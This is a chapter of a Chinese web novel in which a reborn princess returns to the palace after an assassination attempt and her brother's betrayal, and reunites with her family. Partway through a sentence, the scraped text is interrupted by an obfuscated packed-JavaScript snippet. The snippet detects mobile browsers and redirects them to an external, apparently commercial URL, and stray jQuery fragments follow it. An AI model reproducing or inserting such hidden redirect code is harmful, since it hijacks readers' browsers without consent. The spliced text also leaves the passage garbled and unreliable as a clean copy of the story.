13. 第十三章

作品:《亡国公主重生后

    一夜过去,春居苑被糟蹋的不像话。


    应韫伫立在昨夜打斗的地方许久。


    歇山顶的黛瓦被踩碎,廊柱上刀剑痕深重,暗沉的血迹渗进土里,刀枪剑戟七零八落散在地上,好在大雾散去,初升一缕骄阳,鸟啼、虫鸣、轻柔的风吹过山林绿意,让人拨开雾霭,看清一切。


    手臂微动,一柄小巧的匕首滑落而出,她盯着看了许久,摸了摸刀鞘正中心殷红的宝石。


    “殿下,收拾好了!”阿箬唤了声,应韫点点头,春居苑前停了几辆马车,她看着被皇城司围成铁甲的那辆,走了过去。


    车帘一角被掀开,沈莲的声音透出来,“这马车有些挤,公主还是换一辆吧。”帘角透进斜斜一道光,应桢手脚被绑,偏脸躲了过去。


    应韫微微仰头,捏紧了刀鞘:“他会被关进哪里?”


    “皇城司狱。”


    “好。”


    常离跟在应韫身后三步,隔着阿箬、槐安和缠绷带的孙一事,沈莲是视线偏移,看向常离,“这位是?”


    “本宫身边的侍从罢了。”应韫的声音很淡,“说起来,沈大人昨夜来的倒巧,再晚恐怕本宫就要出事,再快,恐怕就瞧不到那样的场面。”


    沈莲不缓不急:“殿下遇刺的事,朝中闹得沸沸扬扬。有人说您私自带不明男子回别苑,有损皇家颜面。陛下让臣来查一查,也是给您一个清白。”


    “有人说?是谁说的?”


    “这...臣就不知道了。”


    应韫轻嗤一声,“若沈大人知道,还请告诉我,我倒要听听何人的消息如此之快,还如此嘴碎四处宣扬。”


    嘴碎本碎沈莲欣然回答:“那是自然。”


    应韫上了后一辆马车,阿箬放下车帘。


    常离站在原地,不知道该往哪儿去,还是阿箬拉了他一把,把他拽到后头那辆装行李的马车架上。


    “殿下虽不喜你,但昨夜你救驾有功,倒也不至于让你受着伤还长途跋涉。”


    “多谢阿箬姑娘。”阿箬招招手,“嗐,不必,要谢就谢公主。”


    常离怔了一下,明白原来应韫早早就安排好了,他看着前头辘辘动起来地马车,嘴角弧度上扬,“嗯,多谢公主。”


    阿箬看着挺上道的常离,话也多了些:“殿下其实很心软,我五岁那年因为识得字,被管理掖庭的中年宫官选中,带在身边做些整理文书、誊抄目录的轻省工作,后来公主殿中的管事嬷嬷向尚宫局要人,便让我去了殿下身边。刚来时,殿下其实不大喜欢我,但有一回我做错事被嬷嬷罚了,她还是寻来药膏予我,后来公主带着我一起爬树掏鸟蛋,下湖捉鱼虾,我才觉得,宫里原来也有人味儿。”


    阿箬想起那些事,嘴角咧开,两颊的肉掬起来,更显圆润可爱。


    “你日后好好侍奉在公主身边,她对你也会很好的,瑶华阁的差事,可是宫中人人艳羡的。”阿箬很是骄傲,扬起头颅。


    常离点点头,半阖的眼睫盖住眸中光彩:“多谢阿箬姑娘指教,我也觉得,公主是很好的人。”只是他不是,他原本是配不上她的,现在,也配不上她。


    他不愿将一切和盘托出,其实也是想让公主觉得,自己还有些用,尚不能丢弃,那么,他就能陪在她身边多一阵子。


    春居苑渐渐远了,只剩星点的屋檐翘脊没在林间。


    他忽然想起,刚来的时候,她恨不得杀了他。


    现在呢?


    他不知道。


    他只知道,她让他跟着回宫,让他坐在马车上。


    这就够了。


    正午时分,天气晴朗,马车进了正安城门。应韫掀开车帘,看着外面熟悉的街巷。瓦市、茶坊、酒肆,和前世一模一样。那些摆摊的小贩,那些来来往往的行人,那些她曾经吃过、走过、逛过、玩儿过的地方。


    许是近乡情怯,她冒了层冷汗。


    “殿下。”阿箬的声音从车外传来,“到东华门了。”


    应韫放下车帘,深吸一口气。东华门,进了这道门,就是皇城。


    宫门巍峨,红日高悬。


    她下了马车,看到两列禁军守在东华门前,甲光曜日,岿然不动,他们身后是厚重的朱漆大门,朱漆大门高且厚重,其上鎏金门钉闪耀光泽,这是东华门,尚未被北梁大军攻破的东华门,尚未被吞没在焰火里的东华门。


    步撵侯在宫门前,她却没径直上去,反倒围着那宫门上下左右东瞧西瞧,她十指轻抚,日光晒得大门有些发烫,她手心也发热起来,而后攥成拳头,扬声道:“众将士守卫辛苦,有赏!”


    长长的随侍队伍里,有艳羡的,有觉得莫名奇怪,还是孙一事这样在后头看着,感叹公主性子虽没出宫时那样活泼,但还是一如既往的喜欢发钱。


    但只有一个人,坐在行礼架上,明白公主为何激动。


    忽闻领军一声暴喝,“敬——!”众军士长戟顿地,戟尾砸地,如惊雷滚滚,震得石板路面嗡嗡作响。他们喝声雄浑,字字铿锵。


    “恭迎殿下回宫!”


    六字响彻天空。


    应韫笑了,笑的无比开怀。


    皇后几乎将女儿看了个遍,应韫转了一圈又一圈。


    应韫掀开轿帘进去,便被抱住。


    应韫鼻尖嗅到淡淡的兰花香,拍拍来人抽泣发抖背脊,“母妃,我无事。”


    皇后眼睛已红了,双手扶住女儿的肩膀,左瞧右瞧,吸吸鼻子:“若你有个三长两短的,我该怎么办。”


    应韫任由母亲摆弄,还伸开手,颇黏糊的撒着娇:“母后从小就说女儿是小福星,我怎么会出事呢?不过女儿打算以后再不出宫,只在宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309603|198765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中陪着您,不然母后又要哭哭啼啼,我最看不得您伤心。”她提前堵住皇后的唠叨,狡黠一双眼看不出半分被吓到。


    皇后这才放下心,用指腹在应韫眉心轻轻一推,那力道轻得像碰了下棉花。


    “你三哥呢?”


    应韫抿着嘴,松开箍住母后的手,低头扣着指尖。


    “母后,一会儿说吧。”她笑了笑,尽是苦涩。


    轿撵抬起,应韫朝后看,常离在阿箬旁,沈莲也跟在轿撵后。昨夜种种,她今日是一定要说了,不然沈莲也会说。


    坤宁殿。


    南燕陛下应怀岳已等待许久,终于看到自己的女儿安然无恙回来了,赶忙下榻,他身旁是一位身着九章绛纱袍,佩瑜玉双佩的少年,长相儒雅平和,与应韫模样肖似,便是太子应桓了。


    “父皇,大哥。”应韫请安。


    应怀岳同样将应韫看了一圈,“没事就好,没事就好。”他眼中发红,嗓音压抑,“让太医给你好好瞧瞧。”


    “应桢怎么没一起过来?”太子应桓问道。虽说两兄弟前段时间在朝堂上吵了一架,应桓因此还摔了一跤,导致许久没能下床,但应桢哪怕关着禁闭也要去春居苑看望小妹,他也该感谢的。


    应韫眼眶霎时又红了,她看了看殿内侍奉的小黄门及侍女,闭了闭眼:“你们退下吧。”


    殿内只剩父皇母后与大哥。


    应韫将近日种种说了一遍,除了常离。


    “他,他怎么敢!?”应桓拍案而起。


    “我一直以为他反对我在京郊养马是怕浪费国库,怕正安这块地养不出能上战场的好马,没曾想他竟同北梁人勾结,达成协议,用你去换草场?”


    "难怪他近日松了口,我要亲自去问他!"说罢,便怒气冲冲的闯了出去。


    应怀岳沉默不已,看着女儿道,“他当真与北梁皇子勾结?是北梁皇子还是北梁?”


    “这有什么区别吗?”


    应怀岳摸了摸女儿的脑袋:“没什么区别,澍儿好生休养,近日,就不要出宫了。”


    暮色沉沉,天地一片昏黄。皇后叹了一口气,揽着女儿出了正殿,去到东配殿,点上安神香,香炉里泄出流转的烟云,轻轻道:“小宝最近就在母妃这里歇着吧,不要回你的住处了。”


    父皇的反应让应韫没来由的心慌,她坐在床榻上看向母后背对自己的母后,“母后,大哥伤还未好全,我想去看看他。”


    “你不恨他?”皇后知晓女儿是在找借口。


    应韫双臂撑着床榻,低头,看着自己踮起的脚尖:“昨夜是恨的,今晨也是恨的,可现在,我不知道,我想去寻个答案。”


    “去吧。”母后轻轻抱住女儿,拍了拍她的背,而后温柔的笑道,“有时母妃也不知道,将你养的这样的性子,是好还是坏。”